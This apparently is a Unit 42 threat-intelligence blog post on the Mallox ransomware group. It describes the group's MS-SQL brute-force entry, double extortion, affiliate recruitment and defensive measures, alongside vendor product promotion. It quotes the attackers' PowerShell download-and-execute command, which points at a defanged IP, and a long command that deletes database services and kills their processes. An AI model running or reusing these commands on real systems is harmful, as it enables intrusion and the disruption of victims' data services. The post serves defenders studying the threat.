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This was blog written by Lior Rochberger and Shimi Cohen
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Mallox (aka TargetCompany, FARGO and Tohnichi) is a ransomware strain that targets Microsoft (MS) Windows systems. It has been active since June 2021, and is notable for exploiting unsecured MS-SQL servers as a penetration vector to compromise victims' networks.
Recently, Unit 42 researchers have observed an uptick of Mallox ransomware activities – with an increase of almost 174% compared to the previous year – exploiting MS-SQL servers to distribute the ransomware. Unit 42 incident responders have observed Mallox ransomware using brute forcing, data exfiltration and tools such as network scanners. In addition, we have found indications that the group is working on expanding their operations and recruiting affiliates on hacking forums.
Palo Alto Networks customers receive protections from Mallox ransomware and the techniques discussed in this blog through Cortex XDR, which provides a multilayer defense that includes behavioral threat protection and exploit protection.
Click here to see a video showing Cortex preventing the execution of the Mallox ransomware.
The Advanced WildFire cloud-delivered malware analysis service accurately identifies samples related to Mallox as malicious. Cloud-Delivered Security Services, including Advanced URL Filtering and DNS Security identify domains associated with this group as malicious.
If you believe you have been compromised, the Unit 42 Incident Response team can provide a personalized response.
| Related Unit 42 Topics | Ransomware |
Mallox ransomware, like many other ransomware threat actors, follows the double extortion trend: stealing data before encrypting an organization’s files, and then threatening to publish the stolen data on a leak site as leverage to convince victims to pay the ransom fee.
Figure 1 below displays the Mallox ransomware website on the Tor browser. Though the organizations’ names and logos have been redacted, this is how the group displays the leaked data of its targets.
Each victim is given a private key to interact with the group and negotiate terms and payment. Figure 2 below presents the chat used for communicating with the group.
The Mallox ransomware group claims hundreds of victims. While the actual number of victims remains unknown, our telemetry indicates dozens of potential victims worldwide, across multiple industries, including manufacturing, professional and legal services, and wholesale and retail.
Since the beginning of 2023, there has been a constant uptick in Mallox activities. According to our telemetry and data collected from open threat intel sources, in 2023, there has been an increase of approximately 174% in Mallox attacks compared to the latter half of 2022 (see Figure 3).
Since its emergence in 2021, the Mallox group has kept the same approach to gaining initial access: The group targets unsecured MS-SQL servers to infiltrate a network. These attacks start with a dictionary brute force attack, trying a list of known or commonly used passwords against the MS-SQL servers. After gaining access, the attackers use a command line and PowerShell to download the Mallox ransomware payload from a remote server (see Figure 4).
A command line example used for a Mallox ransomware infection:
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"\"C:\\Windows\\\\System32\\\\cmd.exe\" /C echo $cl = New-Object System.Net.WebClient > C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 & echo $cl.DownloadFile(\"hxxp://80.66.75[.]36/aRX.exe\", \"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\") >> %TEMP%\\updt.ps1 & powershell -ExecutionPolicy Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 & WMIC process call create \"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\""
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This command line does the following:
The payload then goes on to do the following (not pictured in the command line script shown above):
Figure 5 below shows how Cortex XDR and XSIAM detect one of the first phases of the SQL server exploitation, as described above.
Figure 5. SQL server exploitation process tree, as shown by Cortex XDR and XSIAM (set to detect-only mode for testing purposes).Before any encryption takes place, the ransomware payload attempts multiple actions to ensure successful execution of the ransomware, such as:
In Figure 8, some of these mentioned activities are shown in the process tree of the ransomware:
This investigated sample of Mallox ransomware encrypts files using the ChaCha20 encryption algorithm and appends the .malox extension for the encrypted files. Other file extensions observed were: .FARGO3, .exploit, .avast, .bitenc and .xollam, in addition to the use of victims’ names as the extension. See Figure 9 for an example of encrypted files in Cortex XDR.
Mallox leaves a ransom note in every directory on the victim’s drive. This ransom note explains the infection and provides contact information. Figure 10 is an example of one of these ransom notes.
After execution, the malware deletes itself.
According to one of its members – as stated in an interview in January 2023 – Mallox is a relatively small and closed group. However, the group appears to be working to expand its operations by recruiting affiliates.
A few days after this interview, a user named Mallx posted on the hacking forum RAMP that the Mallox ransomware group was recruiting affiliates for a new Mallox ransomware-as-a-service (RaaS) affiliate program, as shown in Figure 11.
Figure 11. User Mallx's post on RAMP.Back in May 2022, a user named RansomR posted on the well-known hacking forum nulled[.]to that the Mallox group was looking for affiliates to join the team. As of June 2023, the option to join is still relevant, according to the comments in the thread.
Figure 12. RansomR's post on Nulled.If recruitment efforts for their affiliate program succeed, the Mallox group might expand its reach to target more organizations.
The Mallox ransomware group has been more active in the past few months, and their recent recruiting efforts may enable them to attack more organizations if the recruitment drive is successful.
Organizations should implement security best practices and be prepared to defend against the ongoing threat of ransomware. This is true not only for Mallox ransomware but for other opportunistic criminal groups as well.
The Unit 42 team recommends making sure that all internet-facing applications are configured properly and all systems are patched and up to date wherever possible. These measures will help to reduce the attack surface, thereby limiting the exploitation techniques available to attackers.
Deploy an XDR/EDR solution to perform in-memory inspection and detect process injection techniques. Perform threat hunting, looking for signs of unusual behavior related to security product defense evasion, service accounts for lateral movement and domain administrator-related user behavior.
Palo Alto Networks Cortex XDR detects and prevents file manipulation and other activities performed by Mallox ransomware.
SmartScore, A unique ML-driven scoring engine that translates security investigation methods and their associated data into a hybrid scoring system, scored an incident involving Mallox ransomware at 100, which is its highest level of severity (Figure 15). This type of scoring helps analysts determine which incidents are more urgent and provides context about the reason for the assessment, assisting with prioritization.
Figure 15. SmartScore information about a Mallox ransomware incident.For Palo Alto Networks customers, our products and services provide the following coverage against Mallox ransomware:
If you think you may have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
"C:\Windows\System32\cmd.exe" / C sc delete "MSSQLFDLauncher" && sc delete "MSSQLSERVER" && sc delete "SQLSERVERAGENT" && sc delete "SQLBrowser" && sc delete "SQLTELEMETRY" && sc delete "MsDtsServer130" && sc delete "SSISTELEMETRY130" && sc delete "SQLWriter" && sc delete "MSSQL$VEEAMSQL2012" && sc delete "SQLAgent$VEEAMSQL2012" && sc delete "MSSQL" && sc delete "SQLAgent" && sc delete "MSSQLServerADHelper100" && sc delete "MSSQLServerOLAPService" && sc delete "MsDtsServer100" && sc delete "ReportServer" && sc delete "SQLTELEMETRY$HL" && sc delete "TMBMServer" && sc delete "MSSQL$PROGID" && sc delete "MSSQL$WOLTERSKLUWER" && sc delete "SQLAgent$PROGID" && sc delete "SQLAgent$WOLTERSKLUWER" && sc delete "MSSQLFDLauncher$OPTIMA" && sc delete "MSSQL$OPTIMA" && sc delete "SQLAgent$OPTIMA" && sc delete "ReportServer$OPTIMA" && sc delete "msftesql$SQLEXPRESS" && sc delete "postgresql-x64-9.4" && rem Kill "SQL" && taskkill - f - im sqlbrowser.exe && taskkill - f - im sqlwriter.exe && taskkill - f - im sqlservr.exe && taskkill - f - im msmdsrv.exe && taskkill - f - im MsDtsSrvr.exe && taskkill - f - im sqlceip.exe && taskkill - f - im fdlauncher.exe && taskkill - f - im Ssms.exe && taskkill - f - im SQLAGENT.EXE && taskkill - f - im fdhost.exe && taskkill - f - im fdlauncher.exe && taskkill - f - im sqlservr.exe && taskkill - f - im ReportingServicesService.exe && taskkill - f - im msftesql.exe && taskkill - f - im pg_ctl.exe && taskkill - f - im postgres.exe
